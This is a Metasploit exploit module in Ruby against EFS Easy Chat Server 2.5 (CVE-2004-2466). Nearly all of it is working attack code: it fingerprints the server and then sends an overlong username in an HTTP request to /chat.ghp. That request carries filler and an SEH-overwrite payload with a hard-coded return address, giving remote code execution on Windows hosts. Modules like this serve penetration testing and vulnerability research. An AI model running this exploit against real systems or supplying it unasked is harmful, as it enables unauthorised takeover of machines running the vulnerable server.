Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GreatRanking

        HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }

        include Msf::Exploit::Remote::HttpClient

        include Msf::Exploit::Remote::Seh

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By

                                sending a overly long authentication request, an attacker may be able to execute

                                arbitrary code.

                                NOTE: The offset to SEH is influenced by the installation path of the program.

                                The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated

                                with "\users\" and the string passed as the username HTTP paramter.

                        },

                        'Author'         => [ 'LSO <lso[at]hushmail.com>' ],

                        'License'        => BSD_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2004-2466' ],

                                        [ 'OSVDB', '7416' ],

                                        [ 'BID', '25328' ],

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                },

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 500,

                                        'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k

                                ],

                        'DisclosureDate' => 'Aug 14 2007',

                        'DefaultTarget'  => 0))

                register_options(

                        [

                                OptString.new('PATH', [ true, "Installation path of Easy Chat Server",

                                        "C:\\Program Files\\Easy Chat Server" ])

                        ], self.class )

        end

        def check

                info = http_fingerprint # check method

                # NOTE: Version 2.5 still reports "1.0" in the "Server" header

                if (info =~ /Easy Chat Server\/1\.0/)

                        return Exploit::CheckCode::Appears

                end

                Exploit::CheckCode::Safe

        end

        def exploit

                # randomize some values.

                val = rand_text_alpha(rand(10) + 1)

                num = rand_text_numeric(1)

                path = datastore['PATH'] + "\\users\\"

                print_status("path: " + path)

                # exploit buffer.

                filler = rand_text_alpha(256 - path.length)

                seh    = generate_seh_payload(target.ret)

                juju = filler + seh

                uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"

                print_status("Trying target #{target.name}...")

                send_request_raw({'uri' => uri}, 5)

                handler

                disconnect

        end

end